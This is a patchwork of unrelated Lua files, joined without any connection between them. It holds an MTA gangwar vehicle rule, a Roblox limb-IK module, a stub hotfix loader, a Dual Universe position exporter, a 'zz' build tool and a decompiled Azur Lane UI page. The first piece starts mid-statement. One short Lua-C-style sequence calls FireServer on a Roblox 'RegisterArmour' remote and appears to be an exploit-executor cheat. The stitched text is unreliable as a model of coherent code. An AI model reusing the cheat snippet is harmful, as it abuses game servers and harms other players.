getLocalPlayer() then if (getTeamName(getPlayerTeam(localPlayer)) == "Staff") then return false end if (getElementModel(source) == 520) then if (getElementData(localPlayer, "isPlayerInLvCol")) then blowVehicle(source, true) exports.AURstickynote:displayText("hydranotefuckoff", "text", "Hydra is diabled in LV Gangwars. So we blow up your hydra. Don't try to exploit it.", 200, 0, 0) setTimer(function() exports.AURstickynote:displayText("hydranotefuckoff", "text", "", 200, 0, 0) end, 60*1000, 1) end end end end )
local appendageModule = {} function appendageModule.new(UpperLimb,LowerLimb,LimbEnd,StartAttachment,LimbJointAttachment,LimbEndAttachment,LimbHoldAttachment,PreventDisconnection) local Appendage = {} Appendage.UpperLimb = UpperLimb Appendage.LowerLimb = LowerLimb Appendage.LimbEnd = LimbEnd Appendage.StartAttachment = StartAttachment Appendage.LimbJointAttachment = LimbJointAttachment Appendage.LimbEndAttachment = LimbEndAttachment Appendage.LimbHoldAttachment = LimbHoldAttachment Appendage.PreventDisconnection = PreventDisconnection or false function Appendage:GetAttachmentCFrame(Part,AttachmentName) local Attachment = Part:FindFirstChild(AttachmentName) return Attachment and Attachment.CFrame or CFrame.new() end function Appendage:SolveJoint(OriginCFrame,TargetPosition,Length1,Length2) local LocalizedPosition = OriginCFrame:pointToObjectSpace(TargetPosition) local LocalizedUnit = LocalizedPosition.unit local Hypotenuse = LocalizedPosition.magnitude --Get the axis and correct it if it is 0. local Axis = Vector3.new(0,0,-1):Cross(LocalizedUnit) if Axis == Vector3.new(0,0,0) then if LocalizedPosition.Z < 0 then Axis = Vector3.new(0,0,0.001) else Axis = Vector3.new(0,0,-0.001) end end --Calculate and return the angles. local PlaneRotation = math.acos(-LocalizedUnit.Z) local PlaneCFrame = OriginCFrame * CFrame.fromAxisAngle(Axis,PlaneRotation) if Hypotenuse < math.max(Length2,Length1) - math.min(Length2,Length1) then local ShoulderAngle,ElbowAngle = -math.pi/2,math.pi if self.PreventDisconnection then return PlaneCFrame,ShoulderAngle,ElbowAngle else return PlaneCFrame * CFrame.new(0,0,math.max(Length2,Length1) - math.min(Length2,Length1) - Hypotenuse),ShoulderAngle,ElbowAngle end elseif Hypotenuse > Length1 + Length2 then local ShoulderAngle,ElbowAngle = math.pi/2, 0 if self.PreventDisconnection then return PlaneCFrame,ShoulderAngle,ElbowAngle else return PlaneCFrame * CFrame.new(0,0,Length1 + Length2 - Hypotenuse),ShoulderAngle,ElbowAngle end else local Angle1 = -math.acos((-(Length2 * Length2) + (Length1 * Length1) + (Hypotenuse * Hypotenuse)) / (2 * Length1 * Hypotenuse)) local Angle2 = math.acos(((Length2 * Length2) - (Length1 * Length1) + (Hypotenuse * Hypotenuse)) / (2 * Length2 * Hypotenuse)) if self.InvertBendDirection then Angle1 = -Angle1 Angle2 = -Angle2 end return PlaneCFrame,Angle1 + math.pi/2,Angle2 - Angle1 end end --[[ Returns the rotation offset relative to the Y axis to an end CFrame. --]] function Appendage:RotationTo(StartCFrame,EndCFrame) local Offset = (StartCFrame:Inverse() * EndCFrame).Position return CFrame.Angles(math.atan2(Offset.Z,Offset.Y),0,-math.atan2(Offset.X,Offset.Y)) end --[[ Returns the CFrames of the appendage for the starting and holding CFrames. The implementation works, but could be improved. --]] function Appendage:GetAppendageCFrames(StartCFrame,HoldCFrame) --Get the attachment CFrames. local LimbHoldCFrame = self:GetAttachmentCFrame(self.LimbEnd,self.LimbHoldAttachment) local LimbEndCFrame = self:GetAttachmentCFrame(self.LimbEnd,self.LimbEndAttachment) local UpperLimbStartCFrame = self:GetAttachmentCFrame(self.UpperLimb,self.StartAttachment) local UpperLimbJointCFrame = self:GetAttachmentCFrame(self.UpperLimb,self.LimbJointAttachment) local LowerLimbJointCFrame = self:GetAttachmentCFrame(self.LowerLimb,self.LimbJointAttachment) local LowerLimbEndCFrame = self:GetAttachmentCFrame(self.LowerLimb,self.LimbEndAttachment) --Calculate the appendage lengths. local UpperLimbLength = (UpperLimbStartCFrame.Position - UpperLimbJointCFrame.Position).magnitude local LowerLimbLength = (LowerLimbJointCFrame.Position - LowerLimbEndCFrame.Position).magnitude --Calculate the end point of the limb. local AppendageEndJointCFrame = HoldCFrame * LimbHoldCFrame:Inverse() * LimbEndCFrame --Solve the join. local PlaneCFrame,UpperAngle,CenterAngle = self:SolveJoint(StartCFrame,AppendageEndJointCFrame.Position,UpperLimbLength,LowerLimbLength) --Calculate the CFrame of the limb join before and after the center angle. local JointUpperCFrame = PlaneCFrame * CFrame.Angles(UpperAngle,0,0) * CFrame.new(0,-UpperLimbLength,0) local JointLowerCFrame = JointUpperCFrame * CFrame.Angles(CenterAngle,0,0) --Calculate the part CFrames. --The appendage end is not calculated with hold CFrame directly since it can ignore PreventDisconnection = true. local UpperLimbCFrame = JointUpperCFrame * self:RotationTo(UpperLimbJointCFrame,UpperLimbStartCFrame):Inverse() * UpperLimbJointCFrame:Inverse() local LowerLimbCFrame = JointLowerCFrame * self:RotationTo(LowerLimbEndCFrame,LowerLimbJointCFrame):Inverse() * LowerLimbJointCFrame:Inverse() local AppendageEndCFrame = CFrame.new((LowerLimbCFrame * LowerLimbEndCFrame).Position) * (CFrame.new(-AppendageEndJointCFrame.Position) * AppendageEndJointCFrame) * LimbEndCFrame:Inverse() --Return the part CFrames. return UpperLimbCFrame,LowerLimbCFrame,AppendageEndCFrame end return Appendage end return appendageModule
-- C# 热补丁文件加载器 require "HotFix.???"
local coreOffset = 16; local hp = Core.getElementHitPointsById(Core.getId()) if hp > 10000 then coreOffset = 128 elseif hp > 1000 then coreOffset = 64 elseif hp > 150 then coreOffset = 32 end Elements = Core.getElementIdList(); ExportString = "Funny Handle: "; for index, ID in ipairs(Elements) do Position = Core.getElementPositionById(ID) x = Position[1] - coreOffset y = Position[2] - coreOffset z = Position[3] - coreOffset ExportString = ExportString .. Core.getElementTypeById(ID) .. "\t" .. tostring(x) .. "\t" .. tostring(y) .. "\t" .. tostring(z) .. "\t" .. tostring(ID) .. "\n" end system.logInfo(ExportString)
local M = {} local argparser = require('argparser') local process = require('process') local env = require('env') local fs = require('fs') local re = require('re') local inspect = require('inspect') local util = require('util') local bcsave = require('jit.bcsave') local ffi = require('ffi') local stream = require('stream') local zip = require('zip') local quiet = false local function log(msg, ...) if not quiet then pf(msg, ...) end end local function die(msg, ...) pf("ERROR: %s", sf(tostring(msg), ...)) process.exit(1) end local ZZPATH = env['ZZPATH'] or sf("%s/zz", env['HOME'] or die("HOME unset")) local function usage() pf [[ Usage: zz <command> [options] [args] Available commands: init <package> checkout [-u|--update] [-r|--recursive] <package> build [-r|--recursive] [<package>] install [<package>] get [-u|--update] <package> run <script> test [<test>...] clean [<package>] distclean [<package>] Global options: -q|--quiet: keep quiet ]] process.exit(0) end local function find_package_descriptor(dir) dir = dir or process.getcwd() local pd_path local found = false while not found do pd_path = fs.join(dir, 'package.lua') if fs.exists(pd_path) then found = true elseif dir == '/' then break else dir = fs.dirname(dir) end end return found and pd_path or nil end local function PackageDescriptor(package_name) local pd_path, pd if not package_name or package_name == '.' then pd_path = find_package_descriptor() elseif type(package_name) == "string" then pd_path = fs.join(ZZPATH, 'src', package_name, 'package.lua') else ef("invalid package name: %s", package_name) end if pd_path and fs.exists(pd_path) then local pd_chunk, err = loadfile(pd_path) if type(pd_chunk) ~= "function" then die("invalid package descriptor: %s: %s", pd_path, err) end pd = pd_chunk() end if not pd then if package_name then die("cannot find package: %s", package_name) else die("no package") end end if not pd.package then die("invalid package descriptor (missing package field): %s", pd_path) end -- name of the static library (libNAME.a) generated by this package pd.libname = pd.libname or fs.basename(pd.package) -- external packages used by this package pd.imports = pd.imports or {} -- ZZ_CORE_PACKAGE is implicitly imported into all packages (except core) if pd.package ~= ZZ_CORE_PACKAGE and not util.contains(ZZ_CORE_PACKAGE, pd.imports) then table.insert(pd.imports, ZZ_CORE_PACKAGE) end -- native C libraries built by this package pd.native = pd.native or {} -- Lua/C modules exported by this package pd.exports = pd.exports or {} -- the package descriptor is always exported if not util.contains("package", pd.exports) then table.insert(pd.exports, "package") end -- compile-time module dependencies pd.depends = pd.depends or {} -- VFS mounts pd.mounts = pd.mounts or {} -- apps (executables) generated by this package pd.apps = pd.apps or {} -- apps which shall be symlinked into $ZZPATH/bin pd.install = pd.install or {} return pd end -- Target: generic build target abstraction local Target = util.Class() local function is_target(x) return type(x) == "table" and x.is_target end -- a target ref is a string which can be resolved to an actual target local function is_target_ref(x) return type(x) == "string" end local function flatmap(transform, targets) local rv = {} local function add(x) if is_target(x) or is_target_ref(x) then table.insert(rv, transform(x)) elseif type(x) == "table" then for _,t in ipairs(x) do add(t) end end end add(targets) return rv end local function identity(x) return x end local function flatten(targets) return flatmap(identity, targets) end local function walk(root, process, get_children, transform_child) transform_child = transform_child or identity if type(get_children) == "string" then local key = get_children get_children = function(t) return t[key] end end local seen = {} local function walk(item) if not seen[item] then process(item) seen[item] = true for _,child in ipairs(get_children(item)) do walk(transform_child(child)) end end end walk(root) end function Target:new(opts) assert(type(opts)=="table") assert(opts.ctx) -- the build context opts.depends = flatten(opts.depends) if opts.dirname or opts.basename then if not opts.dirname then ef("Target:new(): no dirname (only basename)") end if not opts.basename then ef("Target:new(): no basename (only dirname)") end opts.path = fs.join(opts.dirname, opts.basename) end opts.is_target = true return opts end function Target:mtime() if self.path and fs.exists(self.path) then return fs.stat(self.path).mtime else return -1 end end function Target:collect(key) local rv = {} local function collect(t) if t[key] then table.insert(rv, t[key]) end end walk(self, collect, "depends") return rv end function Target:make() local my_mtime = self:mtime() local changed = {} -- list of updated dependencies local max_mtime = 0 self.depends = flatten(self.ctx:resolve_targets(self.depends)) for _,t in ipairs(self.depends) do assert(is_target(t)) t:make() local mtime = t:mtime() if mtime > my_mtime then table.insert(changed, t) end if mtime > max_mtime then max_mtime = mtime end end if (my_mtime < max_mtime or self.force) and self.build then log("[BUILD] %s", self.basename) if self.dirname then fs.mkpath(self.dirname) end self:build(changed) if self.path then fs.touch(self.path) end end end local function maybe_a_file_path(x) return type(x) == "string" end local function target_path(x) if is_target(x) and x.path then return x.path elseif maybe_a_file_path(x) then return x else ef("target_path() not applicable for %s", inspect(x)) end end local function with_cwd(cwd, fn) local oldcwd = process.getcwd() process.chdir(cwd or '.') local ok, err = pcall(fn) process.chdir(oldcwd) if not ok then die(err) end end function system(args) local msg = args if type(msg) == "table" then msg = table.concat(args, " ") end log(msg) return process.system(args) end -- BuildContext holds the stuff necessary -- to build everything within a package local BuildContext = util.Class() local context_cache = {} local function get_build_context(package_name) local pd if not package_name or package_name == '.' then pd = PackageDescriptor() package_name = pd.package end assert(type(package_name)=="string") if not context_cache[package_name] then pd = pd or PackageDescriptor(package_name) context_cache[package_name] = BuildContext(pd) end return context_cache[package_name] end function BuildContext:new(pd) local ctx = { pd = pd, vars = {}, gbindir = fs.join(ZZPATH, "bin"), bindir = fs.join(ZZPATH, "bin", pd.package), objdir = fs.join(ZZPATH, "obj", pd.package), libdir = fs.join(ZZPATH, "lib", pd.package), tmpdir = fs.join(ZZPATH, "tmp", pd.package), srcdir = fs.join(ZZPATH, "src", pd.package), } ctx.nativedir = fs.join(ctx.srcdir, "native") return ctx end function BuildContext:mangle(module_name) -- generate globally unique name for a zz module local sha1 = require('sha1') return 'zz_'..sha1(sf("%s/%s", self.pd.package, module_name)) end function BuildContext:set(key, value) self.vars[key] = value end function BuildContext:get(key) return self.vars[key] end function BuildContext:resolve_target_ref(name) local t = self:get(name) if not t then -- lookup in imported packages for _,pkgname in ipairs(self.pd.imports) do local ctx = get_build_context(pkgname) t = ctx:get(name) if t then break end end end if not t then ef("cannot resolve target ref: %s", name) end return t end function BuildContext:resolve_targets(targets) local function resolve(t) if is_target(t) then return t elseif is_target_ref(t) then return self:resolve_target_ref(t) else ef("cannot resolve target: %s", t) end end return util.map(resolve, targets) end function BuildContext:download(opts) with_cwd(opts.cwd, function() local status = system { "curl", "-L", "-o", target_path(opts.dst), opts.src } if status ~= 0 then die("download failed") end end) end function BuildContext:extract(opts) with_cwd(opts.cwd, function() local status = system { "tar", "xzf", target_path(opts.src) } if status ~= 0 then die("extract failed") end end) end function BuildContext:system(opts) with_cwd(opts.cwd, function() local status = system(opts.command) if status ~= 0 then die("command failed") end end) end function BuildContext:compile_c(opts) with_cwd(opts.cwd, function() local args = { "gcc", "-c", "-Wall" } util.extend(args, opts.cflags) table.insert(args, "-o") table.insert(args, target_path(opts.dst)) table.insert(args, target_path(opts.src)) local status = system(args) if status ~= 0 then die("compile_c failed") end end) end function BuildContext:compile_lua(opts) bcsave.start("-t", "o", "-n", opts.sym, "-g", target_path(opts.src), target_path(opts.dst)) end function BuildContext:ar(opts) with_cwd(opts.cwd, function() local status = system { "ar", "rsc", target_path(opts.dst), unpack(flatmap(target_path, opts.src)) } if status ~= 0 then die("ar failed") end end) end function BuildContext:cp(opts) with_cwd(opts.cwd, function() local status = system { "cp", target_path(opts.src), target_path(opts.dst) } if status ~= 0 then die("copy failed") end end) end function BuildContext:symlink(opts) with_cwd(opts.cwd, function() local src = target_path(opts.src) local dst = target_path(opts.dst) if fs.exists(dst) then fs.unlink(dst) end log("symlink: %s -> %s", src, dst) fs.symlink(src, dst) end) end function BuildContext:link(opts) local args = { "gcc", "-o", target_path(opts.dst), "-Wl,--export-dynamic", } table.insert(args, "-Wl,--whole-archive") util.extend(args, flatmap(target_path, opts.src)) table.insert(args, "-Wl,--no-whole-archive") util.extend(args, opts.ldflags) local status = system(args) if status ~= 0 then die("link failed") end end function BuildContext:attach_zipped_mounts(opts) local zf = zip.open(target_path(opts.dst)) for _,mount in ipairs(opts.mounts) do local function process(path) local abspath = fs.join(mount.path, path) if fs.is_reg(abspath) then zf:add(fs.join(mount.pkg, path), fs.open(abspath)) pf("[ZIP] %s", fs.join(mount.pkg, path)) end end local function get_children(path) local abspath = fs.join(mount.path, path) local children = {} if fs.is_dir(abspath) then for entry in fs.readdir(abspath) do if fs.is_reg(fs.join(abspath, entry)) then table.insert(children, fs.join(path, entry)) end end end return children end walk('', process, get_children) end zf:close() end function BuildContext.Target(ctx, opts) assert(type(opts)=="table") opts.ctx = ctx return Target(opts) end function BuildContext.LuaModuleTarget(ctx, opts) local modname = opts.name if not modname then ef("LuaModuleTarget: missing name") end local m_dirname = fs.dirname(modname) local m_basename = fs.basename(modname) local m_srcdir, m_objdir if m_dirname == '.' then m_srcdir = ctx.srcdir m_objdir = ctx.objdir else m_srcdir = fs.join(ctx.srcdir, m_dirname) m_objdir = fs.join(ctx.objdir, m_dirname) end local m_src = ctx:Target { dirname = m_srcdir, basename = sf("%s.lua", m_basename) } if not fs.exists(m_src.path) then ef("missing source file: %s", m_src.path) end return ctx:Target { dirname = m_objdir, basename = sf("%s.lo", m_basename), depends = m_src, build = function(self) ctx:compile_lua { src = m_src, dst = self, sym = ctx:mangle(modname) } end } end function BuildContext.CModuleTarget(ctx, opts) local modname = opts.name if not modname then ef("CModuleTarget: missing name") end local m_dirname = fs.dirname(modname) local m_basename = fs.basename(modname) local m_srcdir, m_objdir if m_dirname == '.' then m_srcdir = ctx.srcdir m_objdir = ctx.objdir else m_srcdir = fs.join(ctx.srcdir, m_dirname) m_objdir = fs.join(ctx.objdir, m_dirname) end local c_src = ctx:Target { dirname = m_srcdir, basename = sf("%s.c", m_basename) } if not fs.exists(c_src.path) then -- it's a pure Lua module return nil end local c_h = ctx:Target { dirname = m_srcdir, basename = sf("%s.h", m_basename) } return ctx:Target { dirname = m_objdir, basename = sf("%s.o", m_basename), depends = util.extend({ c_src, c_h }, ctx.pd.depends[modname]), build = function(self) local cflags = {} local seen = {} local function collect(t) if not seen[t.ctx] then util.extend(cflags, { "-iquote", t.ctx.srcdir }) seen[t.ctx] = true end util.extend(cflags, t.cflags) end walk(self, collect, "depends") ctx:compile_c { src = c_src, dst = self, cflags = cflags } end } end function BuildContext:prep_native_targets() if not self.native_targets then local targets = {} for libname, target_factory in pairs(self.pd.native) do local basename = sf("lib%s.a", libname) if type(target_factory) ~= "function" then ef("invalid target factory for native library %s: %s", libname, target_factory) end local target_opts = { name = libname } local t = target_factory(self, target_opts) self:set(basename, t) table.insert(targets, t) end self.native_targets = targets end end function BuildContext:module_targets(modname) local targets = {} local opts = { name = modname } local lua_target = self:LuaModuleTarget(opts) table.insert(targets, lua_target) local c_target = self:CModuleTarget(opts) if c_target then table.insert(targets, c_target) end return targets end function BuildContext:prep_exported_targets() if not self.exported_targets then local targets = {} for _,modname in ipairs(self.pd.exports) do local module_targets = self:module_targets(modname) self:set(modname, module_targets) util.extend(targets, module_targets) end self.exported_targets = targets end end function BuildContext:prep_library_target() if not self.library_target then self:prep_exported_targets() local basename = sf("lib%s.a", self.pd.libname) local ctx = self local t = ctx:Target { dirname = ctx.libdir, basename = basename, depends = ctx.exported_targets, build = function(self, changed) ctx:ar { dst = self, src = changed } end } ctx:set(basename, t) self.library_target = t end end function BuildContext:walk_imports(process) local function get_children(ctx) return ctx.pd.imports end local function transform_child(pkg) return get_build_context(pkg) end walk(self, process, get_children, transform_child) end function BuildContext:prep_link_targets() if not self.link_targets then local targets = {} self:walk_imports(function(ctx) ctx:prep_library_target() table.insert(targets, ctx.library_target) ctx:prep_native_targets() util.extend(targets, ctx.native_targets) end) self.link_targets = targets end end function BuildContext:ldflags() local ldflags = {} self:walk_imports(function(ctx) util.extend(ldflags, ctx.pd.ldflags) end) return ldflags end function BuildContext:gen_modname_map() -- generate a table which maps fully qualified module names to -- their mangled versions local map = {} local function add_module_names_exported_from(ctx) local package_name = ctx.pd.package for _,m in ipairs(ctx.pd.exports) do local mangled = ctx:mangle(m) map[package_name..'/'..m] = mangled end end self:walk_imports(add_module_names_exported_from) local items = {} for k,v in pairs(map) do table.insert(items, sf('["%s"]="%s"', k, v)) end return sf('{%s}', table.concat(items, ',')) end function BuildContext:gen_preamble() local lines = {} local function add(...) table.insert(lines, sf(...).."\n") end add("ZZ_PACKAGE = '%s'", self.pd.package) add("ZZ_CORE_PACKAGE = '%s'", ZZ_CORE_PACKAGE) add("ZZ_MODNAME_MAP = %s", self:gen_modname_map()) return table.concat(lines) end function BuildContext:main_targets(name, bootstrap_code) local ctx = self local zzctx = get_build_context(ZZ_CORE_PACKAGE) zzctx:prep_native_targets() -- for libluajit.a cflags local main_tpl_c = ctx:Target { dirname = zzctx.srcdir, basename = "_main.tpl.c" } local main_c = ctx:Target { dirname = ctx.tmpdir, basename = sf("%s.c", name), depends = main_tpl_c, build = function(self) ctx:cp { src = main_tpl_c, dst = self } end } local main_o = ctx:Target { dirname = ctx.objdir, basename = sf("%s.o", name), depends = main_c, build = function(self) ctx:compile_c { src = main_c, dst = self, cflags = zzctx:get("libluajit.a").cflags } end } local main_tpl_lua = ctx:Target { dirname = zzctx.srcdir, basename = "_main.tpl.lua" } local package_lua = ctx:Target { dirname = ctx.srcdir, basename = "package.lua" } local main_lua = ctx:Target { dirname = ctx.tmpdir, basename = sf("%s.lua", name), depends = { main_tpl_lua, package_lua }, build = function(self) local f = stream(fs.open(self.path, bit.bor(ffi.C.O_CREAT, ffi.C.O_WRONLY, ffi.C.O_TRUNC))) f:write(ctx:gen_preamble()) f:write(fs.readfile(main_tpl_lua.path)) f:write(bootstrap_code) f:close() end } local main_lo = ctx:Target { dirname = ctx.objdir, basename = sf("%s.lo", name), depends = main_lua, build = function(self) ctx:compile_lua { src = main_lua, dst = self, sym = '_main' } end } return { main_o, main_lo } end function BuildContext:collect_mounts() local mounts = {} self:walk_imports(function(ctx) for _,dir in ipairs(ctx.pd.mounts) do if type(dir) ~= "string" then ef("invalid mount specification in package %s: %s", ctx.pd.package, inspect(dir)) end table.insert(mounts, { pkg = ctx.pd.package, path = fs.join(ctx.srcdir, dir) }) end end) return mounts end function BuildContext:gen_vfs_mounts() local mount_statements = {} for _,mount in ipairs(self:collect_mounts()) do table.insert(mount_statements, sf("vfs.mount('%s','%s')\n", mount.path, mount.pkg)) end local code = '' if #mount_statements > 0 then code = code .. "do\n" code = code .. "local vfs = require('vfs')\n" code = code .. table.concat(mount_statements) code = code .. "end\n" end return code end function BuildContext:gen_app_bootstrap(appname, has_attached_zip) local code = '' if has_attached_zip then code = code .. "do\n" code = code .. "local vfs = require('vfs')\n" code = code .. "local process = require('process')\n" code = code .. "vfs.mount(process.get_executable_path())\n" code = code .. "end\n" end code = code .. sf("run_module('%s')\n", self:mangle(appname)) return code end function BuildContext:gen_run_bootstrap() return self:gen_vfs_mounts()..sf("run_script(table.remove(_G.arg,1))\n") end function BuildContext:gen_test_bootstrap() return self:gen_vfs_mounts().."run_tests(_G.arg)\n" end function BuildContext:prep_app_targets() if not self.app_targets then self:prep_link_targets() local mounts = self:collect_mounts() local attach_zip = #mounts > 0 local targets = {} for _,appname in ipairs(self.pd.apps) do local app_module_targets = {} if not util.contains(appname, self.pd.exports) then -- it's not included in the library as a module -- we shall build it separately app_module_targets = self:module_targets(appname) end local bootstrap = self:gen_app_bootstrap(appname, attach_zip) local main_targets = self:main_targets('_main', bootstrap) local ctx = self local app = self:Target { dirname = self.bindir, basename = appname, depends = { self.link_targets, app_module_targets, main_targets, }, build = function(self) ctx:link { dst = self, src = { ctx.link_targets, app_module_targets, main_targets }, ldflags = ctx:ldflags() } if attach_zip then ctx:attach_zipped_mounts { dst = self, mounts = mounts, } end end } table.insert(targets, app) end self.app_targets = targets end end function BuildContext:build(opts) opts = opts or {} if opts.recursive then for _,pkg in ipairs(self.pd.imports) do get_build_context(pkg):build(opts) end end with_cwd(self.srcdir, function() self:prep_native_targets() for _,native_target in ipairs(self.native_targets) do native_target:make() end self:prep_library_target() self.library_target:make() if opts.apps then self:prep_app_targets() for _,app_target in ipairs(self.app_targets) do app_target:make() end end end) end function BuildContext:install() self:build { recursive = true, apps = true } self:prep_app_targets() for _,app_target in ipairs(self.app_targets) do self:symlink { src = app_target, dst = fs.join(self.gbindir, app_target.basename) } end end function BuildContext:run(path) if not fs.exists(path) then die("script not found: %s", path) end path = fs.realpath(path) if path:sub(1,#self.srcdir) ~= self.srcdir then die("this script belongs to another package: %s", path) end local bootstrap = self:gen_run_bootstrap(path) local main_targets = self:main_targets('_run', bootstrap) self:prep_link_targets() local ctx = self local runner = ctx:Target { dirname = ctx.tmpdir, basename = '_run', depends = { ctx.link_targets, main_targets }, build = function(self) ctx:link { dst = self, src = { ctx.link_targets, main_targets }, ldflags = ctx:ldflags() } end } runner:make() process.system { runner.path, unpack(_G.arg, 2) } end function BuildContext:find_tests() return fs.glob(fs.join(self.srcdir, "*_test.lua")) end function BuildContext:test(test_names) self:build { recursive = true, apps = false } local test_paths if not test_names or #test_names == 0 then test_paths = self:find_tests() else local function resolve(test_name) local test_path if test_name:sub(-4) == ".lua" then test_path = test_name else if test_name:sub(-5) ~= "_test" then test_name = test_name.."_test" end test_path = sf("%s/%s.lua", self.srcdir, test_name) end if not fs.exists(test_path) then die("cannot find test: %s", test_path) end return fs.realpath(test_path) end test_paths = util.map(resolve, test_names) end local bootstrap = self:gen_test_bootstrap() local main_targets = self:main_targets('_test', bootstrap) self:prep_link_targets() local ctx = self local testrunner = ctx:Target { dirname = ctx.tmpdir, basename = '_test', depends = { ctx.link_targets, main_targets }, build = function(self) ctx:link { dst = self, src = { ctx.link_targets, main_targets }, ldflags = ctx:ldflags() } end } testrunner:make() process.system { testrunner.path, unpack(test_paths) } end local function rmpath(path) log("rmpath: %s", path) fs.rmpath(path) end function BuildContext:clean() rmpath(self.objdir) rmpath(self.libdir) rmpath(self.tmpdir) end function BuildContext:distclean() self:clean() local installed_apps = util.filter(fs.is_lnk, fs.glob(fs.join(self.gbindir,"*"))) for _,app in ipairs(installed_apps) do if fs.dirname(fs.realpath(app)) == self.bindir then log("unlink: %s", app) fs.unlink(app) end end rmpath(self.bindir) rmpath(self.nativedir) end local function parse_package_name(package_name) if not package_name or package_name == '.' then local pd_path = find_package_descriptor() if pd_path then local pd_chunk = loadfile(pd_path) local pd = pd_chunk() package_name = pd.package else die("no package") end end local pkgname, pkgurl local m = re.Matcher(package_name) if m:match("^(.+?)@(.+?):(.+?)(\\.git)?$") then -- user@host:path pkgname = sf("%s/%s", m[2], m[3]) pkgurl = m[0] elseif m:match("^https?://(.+?)/(.+?)(\\.git)?$") then -- https://host/path pkgname = sf("%s/%s", m[1], m[2]) pkgurl = m[0] elseif m:match("^(.+?)/(.+)$") then -- host/path pkgname = m[0] pkgurl = sf("https://%s", pkgname) end if pkgname and pkgurl then return pkgname, pkgurl else die("cannot parse package name: %s", package_name) end end local function gen_package_descriptor(pkgname) return [[ local P = {} P.package = "]]..pkgname..[[" -- external packages used by this package P.imports = {} -- native C libraries built by this package P.native = {} -- Lua/C modules exported by this package P.exports = {} -- compile-time module dependencies P.depends = {} -- directories mountable via VFS P.mounts = {} -- apps (executables) generated by this package P.apps = {} -- apps which shall be symlinked into $ZZPATH/bin P.install = {} return P ]] end local function init(package_name) local pkgname, pkgurl = parse_package_name(package_name) local srcdir = sf("%s/src/%s", ZZPATH, pkgname) if not fs.exists(srcdir) then log("mkpath: %s", srcdir) fs.mkpath(srcdir) end local pd_path = fs.join(srcdir, "package.lua") if not fs.exists(pd_path) then log("creating package descriptor: %s", pd_path) fs.writefile(pd_path, gen_package_descriptor(pkgname)) log("package successfully initialized at %s", srcdir) else log("package descriptor already exists: %s", pd_path) end end local git = setmetatable({}, { __index = function(self, command) return function(...) local status = system { "git", command, ... } if status ~= 0 then die("git %s failed", command) end end end }) local function checkout(package_name, opts, seen) opts = opts or {} seen = seen or {} if seen[package_name] then return end local function plog(action) log(sf("[%s] %s", action, package_name)) end local pkgname, pkgurl = parse_package_name(package_name) local srcdir = sf("%s/src/%s", ZZPATH, pkgname) if not fs.exists(srcdir) then plog("CLONE") git.clone(pkgurl, srcdir) elseif opts.update then with_cwd(srcdir, function() plog("FETCH") git.fetch() end) end with_cwd(srcdir, function() plog("CHECKOUT") git.checkout("master") if opts.update then plog("PULL") git.pull() end end) seen[package_name] = true if opts.recursive then -- checkout dependencies local pd = PackageDescriptor(pkgname) for _,package_name in ipairs(pd.imports) do checkout(package_name, { update = false, recursive = true }, seen) end end end local handlers = {} function handlers.init(args) local ap = argparser() ap:add { name = "pkg", type = "string" } local args = ap:parse(args) if args.pkg then init(args.pkg) else die("Missing argument: pkg") end end function handlers.checkout(args) local ap = argparser() ap:add { name = "pkg", type = "string" } ap:add { name = "update", option = "-u|--update" } ap:add { name = "recursive", option = "-r|--recursive" } local args = ap:parse(args) if args.pkg then checkout(args.pkg, { update = args.update, recursive = args.recursive }) else die("Missing argument: pkg") end end function handlers.build(args) local ap = argparser() ap:add { name = "pkg", type = "string" } ap:add { name = "recursive", option = "-r|--recursive" } local args = ap:parse(args) get_build_context(args.pkg):build { recursive = args.recursive, apps = true } end function handlers.install(args) local ap = argparser() ap:add { name = "pkg", type = "string" } local args = ap:parse(args) get_build_context(args.pkg):install() end function handlers.get(args) local ap = argparser() ap:add { name = "pkg", type = "string" } ap:add { name = "update", option = "-u|--update" } local args = ap:parse(args) if args.pkg then checkout(args.pkg, { update = args.update, recursive = true }) get_build_context(args.pkg):install() else die("Missing argument: pkg") end end function handlers.run(args) local ap = argparser() ap:add { name = "script_path", type = "string" } local args = ap:parse(args) if not args.script_path then die("missing argument: script path") end get_build_context():run(args.script_path) end function handlers.test(args) local ap = argparser() local args, test_names = ap:parse(args) get_build_context():test(test_names) end function handlers.clean(args) local ap = argparser() ap:add { name = "pkg", type = "string" } local args = ap:parse(args) get_build_context(args.pkg):clean() end function handlers.distclean(args) local ap = argparser() ap:add { name = "pkg", type = "string" } local args = ap:parse(args) get_build_context(args.pkg):distclean() end function M.main() local ap = argparser("zz", "zz build system") ap:add { name = "command", type = "string" } ap:add { name = "quiet", option = "-q|--quiet" } local args, rest_of_args = ap:parse() if not args.command then usage() end quiet = args.quiet local handler = handlers[args.command] if not handler then die("Invalid command: %s", args.command) else handler(rest_of_args) end end return M
getglobal game getfield -1 Workspace getfield -1 RegisterArmour getfield -1 FireServer pushvalue -2 pushnumber 17 pcall 2 1 0
slot0 = class("BismarckChapterPage", import("...base.BaseActivityPage")) slot0.tabPos = { [1.0] = 10, [2.0] = 182.3 } slot0.IconShowFunc = { [DROP_TYPE_SHIP] = function (slot0, slot1) GetImageSpriteFromAtlasAsync("SquareIcon/" .. slot3, "", slot0) end, [DROP_TYPE_FURNITURE] = function (slot0, slot1) GetImageSpriteFromAtlasAsync("furnitureicon/" .. pg.furniture_data_template[slot1].icon, "", slot0) end } slot0.TransformType = { [TASK_SUB_TYPE_COLLECT_SHIP] = DROP_TYPE_SHIP, [TASK_SUB_TYPE_COLLECT_FURNITURE] = DROP_TYPE_FURNITURE } slot0.OnInit = function (slot0) slot0.bg = slot0:findTF("AD") slot0.items = { slot0:findTF("AD/Item1"), slot0:findTF("AD/Item2") } slot0.awardTF = slot0:findTF("AD/award") slot0.battleBtn = slot0:findTF("AD/battle_btn") slot0.shopBtn = slot0:findTF("AD/exchange_btn") slot0.buildBtn = slot0:findTF("AD/build_btn") slot0.tab = slot0:findTF("tab") slot0.bar = slot0:findTF("bar") slot0.scrollList = slot0:findTF("Scroll View", slot0.tab) slot0.content = slot0:findTF("Content", slot0.scrollList) slot0.listTmpl = slot0:findTF("listitem", slot0.tab) slot0.taskList = UIItemList.New(slot0.content, slot0.listTmpl) slot0.finalTasks = {} slot0.subtasks = {} slot0.tabType = 0 end slot0.OnFirstFlush = function (slot0) slot0.finalTasks = Clone(slot0.activity:getConfig("config_client")) _.each(slot1, function (slot0) if pg.task_data_template[slot0] and slot1.target_id then table.insert(slot0.subtasks, Clone(slot2)) end end) setText(slot0.findTF(slot0, "desc", slot0.bg), i18n("bismarck_chapter_desc")) slot0:SubimtCompletedMission() slot0:InitInteractable() end 